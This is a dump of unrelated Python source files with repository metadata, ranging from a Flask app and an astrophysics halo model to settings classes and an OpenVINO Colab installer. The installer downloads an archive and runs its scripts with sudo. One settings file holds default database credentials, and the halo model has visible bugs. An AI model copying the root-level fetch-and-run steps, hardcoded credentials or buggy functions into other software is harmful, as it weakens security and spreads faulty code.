def company_details(code, name, der, pbv, roe, per, passed):
return render_template("company_details.html", code=code, name=name, der=der, pbv=pbv, roe=roe, per=per, passed=passed)
def open_browser():
webbrowser.open_new('http://127.0.0.1:5000/')
Timer(1, open_browser).start()
app.run(port=5000) | 26.72 | 123 | 0.730539 | 96 | 668 | 4.9375 | 0.40625 | 0.088608 | 0.07173 | 0.092827 | 0.168776 | 0.168776 | 0.168776 | 0.168776 | 0.168776 | 0 | 0 | 0.025126 | 0.106287 | 668 | 25 | 124 | 26.72 | 0.768844 | 0 | 0 | 0 | 0 | 0 | 0.173393 | 0.09417 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1875 | false | 0.1875 | 0.25 | 0.125 | 0.5625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 3 |
598647b04cdb9a07a9d52e8597b18bcdb7e636a2 | 119 | py | Python | src/events.py | 0Nikola0/Casted-Away | 95a2ce72c8e64e5543860aa8d67ab7b14374238f | [
"MIT"
] | 4 | 2021-08-16T02:19:49.000Z | 2022-01-11T11:08:50.000Z | src/events.py | 0Nikola0/Casted-Away | 95a2ce72c8e64e5543860aa8d67ab7b14374238f | [
"MIT"
] | 1 | 2020-09-22T06:34:04.000Z | 2020-09-26T17:43:03.000Z | src/events.py | 0Nikola0/dunder-mifflin | 95a2ce72c8e64e5543860aa8d67ab7b14374238f | [
"MIT"
] | 1 | 2020-09-20T03:32:52.000Z | 2020-09-20T03:32:52.000Z | import pygame
SWITCH_SCENE = pygame.USEREVENT + 1
CONSOLE_PRINT = pygame.USEREVENT + 2
COMMAND = pygame.USEREVENT + 3
| 19.833333 | 36 | 0.773109 | 16 | 119 | 5.625 | 0.6875 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.029703 | 0.151261 | 119 | 5 | 37 | 23.8 | 0.861386 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
59bb244df26fd91cf106ef4e11d8a28c39762d73 | 197 | py | Python | gamefixes/782330.py | manueliglesiasgarcia/protonfixes | d676b6bf39f6e4268b4791d3d71c6d74e2127121 | [
"BSD-2-Clause"
] | 54 | 2019-06-21T22:03:45.000Z | 2022-03-20T19:24:36.000Z | gamefixes/782330.py | manueliglesiasgarcia/protonfixes | d676b6bf39f6e4268b4791d3d71c6d74e2127121 | [
"BSD-2-Clause"
] | 21 | 2020-06-13T22:49:18.000Z | 2022-03-20T08:28:39.000Z | gamefixes/782330.py | manueliglesiasgarcia/protonfixes | d676b6bf39f6e4268b4791d3d71c6d74e2127121 | [
"BSD-2-Clause"
] | 53 | 2019-09-11T15:23:25.000Z | 2022-03-20T08:18:49.000Z | """ DOOM Eternal
"""
#pylint: disable=C0103
from protonfixes import util
def main():
""" Requires seccomp
"""
util.use_seccomp()
util.append_argument('+com_skipSignInManager 1')
| 15.153846 | 52 | 0.670051 | 22 | 197 | 5.863636 | 0.863636 | 0.170543 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031447 | 0.192893 | 197 | 12 | 53 | 16.416667 | 0.779874 | 0.284264 | 0 | 0 | 0 | 0 | 0.188976 | 0.173228 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.25 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
59cabb054a3cb55ee144ed36b1d4131a1c3cabb3 | 125 | py | Python | sourcehold/maps/sections/section1033.py | J-T-de/sourcehold-maps | 330ab1b3426dbd93b5de3b0c031419e54f6a1618 | [
"MIT"
] | null | null | null | sourcehold/maps/sections/section1033.py | J-T-de/sourcehold-maps | 330ab1b3426dbd93b5de3b0c031419e54f6a1618 | [
"MIT"
] | null | null | null | sourcehold/maps/sections/section1033.py | J-T-de/sourcehold-maps | 330ab1b3426dbd93b5de3b0c031419e54f6a1618 | [
"MIT"
] | null | null | null | from .types import TileCompressedMapSection
class Section1033(TileCompressedMapSection):
_TYPE_ = "H"
_CLASS_ = int | 20.833333 | 44 | 0.768 | 11 | 125 | 8.363636 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038462 | 0.168 | 125 | 6 | 45 | 20.833333 | 0.846154 | 0 | 0 | 0 | 0 | 0 | 0.007937 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
ab91a34038d806887c8eefe0693311a499f1fb22 | 437 | py | Python | app/datasets/__init__.py | taoyilee/Keras_MedicalImgAI | 02ecf1f52ee91e3050b2d30f602a3161ff0726cf | [
"MIT"
] | 26 | 2018-03-14T13:58:22.000Z | 2022-02-11T14:32:48.000Z | app/datasets/__init__.py | taoyilee/Keras_MedicalImgAI | 02ecf1f52ee91e3050b2d30f602a3161ff0726cf | [
"MIT"
] | 3 | 2018-11-09T21:54:03.000Z | 2020-05-08T09:07:06.000Z | app/datasets/__init__.py | taoyilee/Keras_MedicalImgAI | 02ecf1f52ee91e3050b2d30f602a3161ff0726cf | [
"MIT"
] | 9 | 2018-03-14T13:58:25.000Z | 2020-06-02T03:21:48.000Z | __all__ = ["AugmentConfig", "NormalizeConfig", "DatasetConfig", "image_augmentizer", "image_normalizer",
"ImageAugmentizer", "ImageNormalizer"]
from app.datasets.AugmentConfig import AugmentConfig
from app.datasets.DatasetConfig import DatasetConfig
from app.datasets.NormalizeConfig import NormalizeConfig
from app.datasets.image_augmentizer import ImageAugmentizer
from app.datasets.image_normalizer import ImageNormalizer
| 48.555556 | 104 | 0.830664 | 42 | 437 | 8.452381 | 0.309524 | 0.098592 | 0.211268 | 0.112676 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.093822 | 437 | 8 | 105 | 54.625 | 0.896465 | 0 | 0 | 0 | 0 | 0 | 0.240275 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.714286 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
abdeaea2d1bb97148a3ab61655b613cf00364c2b | 1,823 | py | Python | halo/hernquist.py | martincss/iccpy | d3b5f71136835502b04ba26f9656252b735895f4 | [
"MIT"
] | 1 | 2021-08-12T16:36:16.000Z | 2021-08-12T16:36:16.000Z | halo/hernquist.py | martincss/iccpy | d3b5f71136835502b04ba26f9656252b735895f4 | [
"MIT"
] | null | null | null | halo/hernquist.py | martincss/iccpy | d3b5f71136835502b04ba26f9656252b735895f4 | [
"MIT"
] | 1 | 2017-03-02T01:13:46.000Z | 2017-03-02T01:13:46.000Z | import numpy as np
import iccpy.constants as constants
def density(r, mass, a):
return m*a/(2*np.pi*r*(r+a)**3)
class Hernquist:
def __init__(self, total_mass, scale_length, r_a=np.inf):
self.total_mass = total_mass
self.scale_length = scale_length
self.anisotropy_radius = r_a
def density(self, r):
return self.total_mass*self.scale_length/(2*np.pi*r*(r+self.scale_length)**3)
def cumlative_mass(self, r):
return self.total_mass*r**2 /(r+self.scale_length)**2
def radius(self, mass):
m = np.sqrt(mass / self.total_mass)
return self.scale_length * m / (1 - m)
def potential(self, r):
return -constants.G*self.total_mass/(r+self.scale_length)
def distribution_function_Q(self, Q):
M = self.total_mass
a = self.scale_length
vg = np.sqrt(constants.G*M/a)
q = np.sqrt(a*Q/(constants.G*M))
ans = M * (3*np.arcsin(q) + q*(1-q**2)**0.5 * (1-2*q**2) * (8*q**4-8*q**2-3))
ans /= (8*np.sqrt(2)*np.pi**3*a**3*vg**3) * (1-q**2)**2.5
if self.anisotropy_radius!=np.inf:
ans2 = M * a**2 * q * (1-2*q**2)
ans2 /= np.sqrt(2) * np.pi**3*a**3*vg**3 * self.anisotropy_radius**2
ans += ans2
return ans
def distribution_function_Q_max(self, Q):
return self.distribution_function_Q(Q)
def distribution_function(self, pos, vel):
r = np.square(pos).sum()
psi = -self.potential(r)
L2 = np.square((pos[1]*vel[2] - pos[2]*vel[1], pos[2]*vel[0] - pos[0]*vel[2], pos[0]*vel[1] - pos[1]*vel[0])).sum()
v2 = np.square(vel).sum()
Q = psi - 0.5*v2 - 0.5*L2/self.anisotropy_radius**2
return self.distribution_function(Q)
| 33.759259 | 123 | 0.558969 | 301 | 1,823 | 3.262458 | 0.169435 | 0.100815 | 0.092668 | 0.04888 | 0.200611 | 0.083503 | 0.034623 | 0.034623 | 0.034623 | 0.034623 | 0 | 0.046547 | 0.269336 | 1,823 | 53 | 124 | 34.396226 | 0.690691 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | false | 0 | 0.051282 | 0.128205 | 0.512821 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
280488c94cf7d269e77fbeacad4bdbfc89684816 | 1,076 | py | Python | seclytics/ioc/asn.py | mccluret/python-client | 5c2e8150cceff6cd239c64dce4d8393af25ec66b | [
"Apache-2.0"
] | 2 | 2019-04-02T16:29:41.000Z | 2019-04-30T23:42:53.000Z | seclytics/ioc/asn.py | mccluret/python-client | 5c2e8150cceff6cd239c64dce4d8393af25ec66b | [
"Apache-2.0"
] | 7 | 2019-08-01T12:42:13.000Z | 2021-04-19T17:23:25.000Z | seclytics/ioc/asn.py | mccluret/python-client | 5c2e8150cceff6cd239c64dce4d8393af25ec66b | [
"Apache-2.0"
] | 1 | 2019-10-24T22:11:57.000Z | 2019-10-24T22:11:57.000Z | from .ioc import Ioc
class Asn(Ioc):
@property
def asn_descrpition(self):
if 'asn' not in self.intel:
return None
return self.intel['asn']['description']
@property
def asn_number(self):
if 'asn' not in self.intel:
return None
return self.intel['asn']['number']
@property
def country_name(self):
if 'country' not in self.intel:
return None
return self.intel['country']['name']
@property
def country_code(self):
if 'country' not in self.intel:
return None
return self.intel['country']['code']
@property
def registry_code(self):
if 'rir' not in self.intel:
return None
return self.intel['rir']['code']
@property
def registry_name(self):
if 'rir' not in self.intel:
return None
return self.intel['rir']['name']
@property
def cidrs(self):
if 'context' not in self.intel:
return None
return self.intel['context']['cidrs']
| 23.391304 | 47 | 0.560409 | 132 | 1,076 | 4.522727 | 0.181818 | 0.211055 | 0.105528 | 0.164154 | 0.60469 | 0.60469 | 0.60469 | 0.60469 | 0.60469 | 0.539363 | 0 | 0 | 0.325279 | 1,076 | 45 | 48 | 23.911111 | 0.822314 | 0 | 0 | 0.540541 | 0 | 0 | 0.096654 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.189189 | false | 0 | 0.027027 | 0 | 0.621622 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
e60406d62fa50aeae60049f591529592805ccfef | 3,232 | py | Python | openvino_initialization_script.py | socd06/openvino_collab | e113c48c3872977822ed67587ebba7194b76240a | [
"MIT"
] | 1 | 2020-03-14T13:48:37.000Z | 2020-03-14T13:48:37.000Z | openvino_initialization_script.py | socd06/openvino_collab | e113c48c3872977822ed67587ebba7194b76240a | [
"MIT"
] | null | null | null | openvino_initialization_script.py | socd06/openvino_collab | e113c48c3872977822ed67587ebba7194b76240a | [
"MIT"
] | 1 | 2020-03-14T13:48:05.000Z | 2020-03-14T13:48:05.000Z | # -*- coding: utf-8 -*-
"""OpenVINO-ColabNotebook.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/github/abhik-99/OpenDevLibrary/blob/master/OpenDevNotebook-CPU-modified.ipynb
"""
from subprocess import call
#Defining the Important Paths
file_name = "l_openvino_toolkit_p_2020.1.023.tgz" #change the filename if version does not match
dir_name = file_name[:-4]
install_dir = "/opt/intel/openvino/"
deployment_tools = install_dir+"deployment_tools/"
model_optimizer = install_dir+"deployment_tools/model_optimizer/"
model_zoo = deployment_tools+"open_model_zoo/"
call('wget "https://storage.googleapis.com/open_vino_public/l_openvino_toolkit_p_2020.1.023.tgz"', shell=True)
call('tar -xzf l_openvino_toolkit_p_2020.1.023.tgz', shell=True)
call('sudo -E %s/install_openvino_dependencies.sh'%(dir_name), shell=True)
call("sed -i 's/decline/accept/g' %s/silent.cfg && sed -i 's/#INTEL_SW_IMPROVEMENT/INTEL_SW_IMPROVEMENT/g' %s/silent.cfg"%(dir_name,dir_name), shell=True)
print("Installed OpenVINO Dependencies. Installing OpenVINO...")
call("sudo %s/install.sh --silent %s/silent.cfg"%(dir_name,dir_name), shell=True)
call("sudo -E %s/install_dependencies/install_openvino_dependencies.sh"%(install_dir), shell=True)
call("source %s/bin/setupvars.sh"%(install_dir), shell=True)
print("ENV Variables Set!")
# frameworks = ['tf','mxnet','onnx','kaldi','all']
# choices = dict(zip(range(1,6),frameworks))
# print("""Please enter the Choice of framework you want to work with:
# \n(Note: You should only install for the ones you would be using.
# Incase of needing to install for more than one but not all, rerun this cell and
# install the pre-requisites one by one.)
# """)
# for x in choices:
# print(x,choices[x])
# choice = input("Please enter your choice (Default Option - 5): ")
# if len(choice) == 0:
# choice = 5
# elif choice in '1 2 3 4'.split():
# choice = int(choice)
# if choice>5:
# print("You have entered an invalid choice! Please rerun the script.")
# print("Choice is",choice,":",choices[choice])
# if choice != 5:
# pre_install = model_optimizer + "install_prerequisites/install_prerequisites.sh "+choices[choice]
# call("sudo %s"%(pre_install), shell=True)
# elif choice == 5:
# # for x in choices:
# # pre_install = model_optimizer + "install_prerequisites/install_prerequisites.sh "+choices[x]
# !sudo $pre_install
call("sudo %s/install_prerequisites/install_prerequisites.sh"%(model_optimizer), shell=True)
# else:
# print("Wrong Choice! Please rerun this cell and enter the correct choice!")
call("sudo %s/demo/demo_squeezenet_download_convert_run.sh"%(deployment_tools), shell=True)
print("\n\nIntel OpenVINO Installation Fisnished!")
print("Copy and Paste the following code snippet in the next cell of your notebook")
print("#-----Start Copying from below-----")
print("")
print(f"install_dir = '{install_dir}'")
print(f"model_optimizer = '{model_optimizer}'")
print(f"deployment_tools = '{deployment_tools}'")
print(f"model_zoo = '{model_zoo}'")
print("")
print("#-----End of Copying-----")
#print("It is recommended that you save these paths to variables in the Python runtime/Jupyter Notebooks")
| 44.273973 | 154 | 0.736077 | 478 | 3,232 | 4.828452 | 0.395397 | 0.038995 | 0.028163 | 0.022097 | 0.231369 | 0.186308 | 0.152513 | 0.139515 | 0.127383 | 0.098787 | 0 | 0.013981 | 0.11479 | 3,232 | 72 | 155 | 44.888889 | 0.79273 | 0.465656 | 0 | 0.071429 | 1 | 0.035714 | 0.608644 | 0.200118 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.035714 | 0 | 0.035714 | 0.428571 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
e60e8306902c71108692a4c428e3a8bff4794558 | 526 | py | Python | stalkbroker/models/_user.py | peake100/stalkbroker-py | 95bed6e6d89dc00b183b71d5d3fce7908c554ed9 | [
"MIT"
] | null | null | null | stalkbroker/models/_user.py | peake100/stalkbroker-py | 95bed6e6d89dc00b183b71d5d3fce7908c554ed9 | [
"MIT"
] | 12 | 2020-04-25T22:13:57.000Z | 2020-05-24T16:24:59.000Z | stalkbroker/models/_user.py | peake100/stalkbroker-py | 95bed6e6d89dc00b183b71d5d3fce7908c554ed9 | [
"MIT"
] | null | null | null | import uuid
import pytz
from dataclasses import dataclass, field
from typing import List, Optional
@dataclass
class User:
"""User info."""
id: uuid.UUID
"""Unique id for the user"""
discord_id: int
"""Discord id of the user"""
timezone: Optional[pytz.BaseTzInfo] = None
"""Timezone the user is in"""
servers: List[int] = field(default_factory=list)
"""A list of servers this user is a part of."""
notify_on_bulletin: bool = False
"""Whether to notify this user on a bulletin."""
| 25.047619 | 52 | 0.6673 | 75 | 526 | 4.626667 | 0.506667 | 0.060519 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.218631 | 526 | 20 | 53 | 26.3 | 0.844282 | 0.019011 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.363636 | 0 | 0.909091 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
e61e36dd90b32c49273f5930055e6cf1694ee36f | 644 | py | Python | app/core/settings.py | karriva/myna_test | 1def78a0c11b91a5d28c216333eec6ffe39e6fbb | [
"MIT"
] | null | null | null | app/core/settings.py | karriva/myna_test | 1def78a0c11b91a5d28c216333eec6ffe39e6fbb | [
"MIT"
] | 1 | 2022-01-17T08:18:39.000Z | 2022-01-17T08:18:39.000Z | app/core/settings.py | karriva/myna_test | 1def78a0c11b91a5d28c216333eec6ffe39e6fbb | [
"MIT"
] | null | null | null | import os
from typing import Optional
from pydantic import BaseSettings
class Settings(BaseSettings):
"""
Global project settings, from .env
"""
DEBUG: bool = True
LOG_LEVEL: str = 'INFO'
# common
MICROSERVICE_NAME: str = 'myna test'
VERSION: str = '0.0.1'
API_PREFIX: str = '/public/api/v1'
# database
POSTGRES_USER: str = 'postgres'
POSTGRES_PASSWORD: Optional[str] = 'postgres'
POSTGRES_DB: str = 'postgres'
POSTGRES_HOST: str = 'postgres'
POSTGRES_PORT: int = 5432
class Config:
"""Config"""
env_file = os.getenv('ENV', '.env')
settings = Settings()
| 18.941176 | 49 | 0.627329 | 75 | 644 | 5.266667 | 0.573333 | 0.111392 | 0.192405 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016667 | 0.254658 | 644 | 33 | 50 | 19.515152 | 0.80625 | 0.090062 | 0 | 0 | 0 | 0 | 0.125887 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.058824 | 0.176471 | 0 | 0.882353 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
e621b9e4aab54c80e01eb91188ac5859ad980ded | 286 | py | Python | src/alvarium/hash/interfaces.py | welo10/alvarium-sdk-python | a62aeafc62bd6bc4e11538c357e422e7a51cf825 | [
"Apache-2.0"
] | null | null | null | src/alvarium/hash/interfaces.py | welo10/alvarium-sdk-python | a62aeafc62bd6bc4e11538c357e422e7a51cf825 | [
"Apache-2.0"
] | null | null | null | src/alvarium/hash/interfaces.py | welo10/alvarium-sdk-python | a62aeafc62bd6bc4e11538c357e422e7a51cf825 | [
"Apache-2.0"
] | null | null | null | from abc import ABC, abstractmethod
class HashProvider(ABC):
"""a unit that provides an interface for hashing the incoming data"""
@abstractmethod
def derive(self, data: bytes) -> str:
"""returns the hash hex string representation of the input data"""
pass | 31.777778 | 74 | 0.688811 | 37 | 286 | 5.324324 | 0.810811 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.227273 | 286 | 9 | 75 | 31.777778 | 0.891403 | 0.433566 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0.2 | 0.2 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
e6255f42d217d1dbef8bc79b55d20319555cba4a | 156 | py | Python | filedownload/apps.py | Jinho-Choi123/FTP-Server | 1a51b76829c5eadab1f3da300107a12335527de6 | [
"MIT"
] | 1 | 2021-09-07T01:29:53.000Z | 2021-09-07T01:29:53.000Z | filedownload/apps.py | Jinho-Choi123/FTP-Server | 1a51b76829c5eadab1f3da300107a12335527de6 | [
"MIT"
] | null | null | null | filedownload/apps.py | Jinho-Choi123/FTP-Server | 1a51b76829c5eadab1f3da300107a12335527de6 | [
"MIT"
] | null | null | null | from django.apps import AppConfig
class FiledownloadConfig(AppConfig):
default_auto_field = 'django.db.models.BigAutoField'
name = 'filedownload'
| 22.285714 | 56 | 0.775641 | 17 | 156 | 7 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.141026 | 156 | 6 | 57 | 26 | 0.88806 | 0 | 0 | 0 | 0 | 0 | 0.262821 | 0.185897 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
e62690f063841c7e50aee56a06d40e9a2c4304dc | 727 | py | Python | articlequality/feature_lists/wikidatawiki_data/items_lists.py | Sharingan-Coder01/articlequality | 9ae87b9fbfd56d70c733fcdab56655d2299f1e07 | [
"MIT"
] | 23 | 2019-01-14T11:11:41.000Z | 2021-12-12T23:30:55.000Z | articlequality/feature_lists/wikidatawiki_data/items_lists.py | Sharingan-Coder01/articlequality | 9ae87b9fbfd56d70c733fcdab56655d2299f1e07 | [
"MIT"
] | 78 | 2018-11-28T22:45:52.000Z | 2022-02-11T13:47:13.000Z | articlequality/feature_lists/wikidatawiki_data/items_lists.py | wiki-ai/articlequality | 205043ed9309c69eb34e816bc602bd5c99e82a2c | [
"MIT"
] | 23 | 2018-10-13T05:49:58.000Z | 2022-01-21T18:28:31.000Z | # The list is generated using https://w.wiki/aaD
# Picking the top 50 ones only because it covers 97% of cases
ASTRONOMICAL_OBJECTS = [
'Q523', 'Q318', 'Q1931185', 'Q1457376', 'Q2247863', 'Q3863', 'Q83373',
'Q2154519', 'Q726242', 'Q1153690', 'Q204107', 'Q71963409', 'Q67206691',
'Q1151284', 'Q67206701', 'Q66619666', 'Q72802727', 'Q2168098', 'Q6243',
'Q72802508', 'Q11282', 'Q72803170', 'Q1332364', 'Q72802977', 'Q6999',
'Q1491746', 'Q272447', 'Q497654', 'Q204194', 'Q130019', 'Q744691',
'Q71798532', 'Q46587', 'Q11276', 'Q71965429', 'Q5871', 'Q72803622',
'Q72803426', 'Q3937', 'Q72803708', 'Q168845', 'Q24452', 'Q67201574',
'Q2557101', 'Q691269', 'Q13632', 'Q10451997', 'Q28738741', 'Q22247'
]
| 55.923077 | 75 | 0.639615 | 72 | 727 | 6.444444 | 0.986111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.509646 | 0.144429 | 727 | 12 | 76 | 60.583333 | 0.236334 | 0.145805 | 0 | 0 | 1 | 0 | 0.585761 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
e62e021e87b2f0c64bbc9d2075323d30fa763e02 | 1,479 | py | Python | Weverse/error.py | MujyKun/Weverse | 7e93f2e877209b6b2ec5eb54053c4853561b3879 | [
"MIT"
] | 7 | 2021-03-02T06:54:46.000Z | 2022-01-14T01:24:42.000Z | Weverse/error.py | MujyKun/Weverse | 7e93f2e877209b6b2ec5eb54053c4853561b3879 | [
"MIT"
] | null | null | null | Weverse/error.py | MujyKun/Weverse | 7e93f2e877209b6b2ec5eb54053c4853561b3879 | [
"MIT"
] | 1 | 2021-05-24T23:56:27.000Z | 2021-05-24T23:56:27.000Z | class InvalidToken(Exception):
"""An Exception Raised When an Invalid Token was Supplied."""
def __init__(self):
super(InvalidToken, self).__init__("An Invalid Bearer Token was Supplied to Weverse.")
class PageNotFound(Exception):
r"""
An Exception Raised When a link was not found.
Parameters
----------
url: :class:`str`
The link that was not found.
"""
def __init__(self, url):
super(PageNotFound, self).__init__(url + "was an invalid link.")
class BeingRateLimited(Exception):
"""An Exception Raised When Weverse Is Being Rate-Limited."""
def __init__(self):
super(BeingRateLimited, self).__init__("Weverse is rate-limiting the requests.")
class LoginFailed(Exception):
"""An Exception raised when the login failed."""
def __init__(self, msg: str = "The login process for Weverse had failed."):
super(LoginFailed, self).__init__(msg)
class InvalidCredentials(Exception):
"""An Exception raised when no valid credentials were supplied."""
def __init__(self, msg: str = "The credentials for a token or a username/password could not be found."):
super(InvalidCredentials, self).__init__(msg)
class NoHookFound(Exception):
"""An Exception raised when a loop for the hook was started but did not actually have a hook method."""
def __init__(self, msg: str = "No Hook was passed into the Weverse client."):
super(NoHookFound, self).__init__(msg)
| 35.214286 | 108 | 0.689655 | 190 | 1,479 | 5.115789 | 0.336842 | 0.067901 | 0.104938 | 0.12963 | 0.236626 | 0.041152 | 0 | 0 | 0 | 0 | 0 | 0 | 0.200811 | 1,479 | 41 | 109 | 36.073171 | 0.822335 | 0.293442 | 0 | 0.105263 | 0 | 0 | 0.263158 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.315789 | false | 0.105263 | 0 | 0 | 0.631579 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
e62eb6514d1d31081d8ed565b5af4034b71a5236 | 66,514 | py | Python | app/openidc.py | UoW-CPC/cfg-emgum-api | 9ef4a363439b9e9837e9cfe31bff03f8f8b95879 | [
"Apache-2.0"
] | null | null | null | app/openidc.py | UoW-CPC/cfg-emgum-api | 9ef4a363439b9e9837e9cfe31bff03f8f8b95879 | [
"Apache-2.0"
] | null | null | null | app/openidc.py | UoW-CPC/cfg-emgum-api | 9ef4a363439b9e9837e9cfe31bff03f8f8b95879 | [
"Apache-2.0"
] | null | null | null | # Update on 16:00, 10.10.2018
from flask import Flask
from flask import jsonify, abort, Response
from flask_restful import request, reqparse, fields, marshal, Resource
import os
import json
import csv
import string
import requests
import logging
#import jsonurl
from app import app
import random
from random import randint
from parameters import keycloak_server, keycloak_realm, ssl_key, ssl_cert
#from posix import access
##### CONSTANT VALUES
# http codes
# Success
HTTP_CODE_OK = 200
HTTP_CODE_CREATED = 201
# Clients's errors
HTTP_CODE_BAD_REQUEST = 400
HTTP_CODE_UNAUTHORIZED = 401
HTTP_CODE_NOT_FOUND = 404
HTTP_CODE_CONFLICT = 409
#HTTP_CODE_LOCKED = 423
# Server error
HTTP_CODE_SERVER_ERR = 500
PASSWD_MIN_LEN = 8 # characters
PASSWD_MAX_LEN = 16 # characters
##### END - CONSTANT VALUES
logger = logging.getLogger(__name__)
##### GLOBAL CONFIGURATION AND VARIABLES
cfg_path = os.path.abspath(os.path.join(os.path.dirname(__file__),".."))
# import the resource of all messages
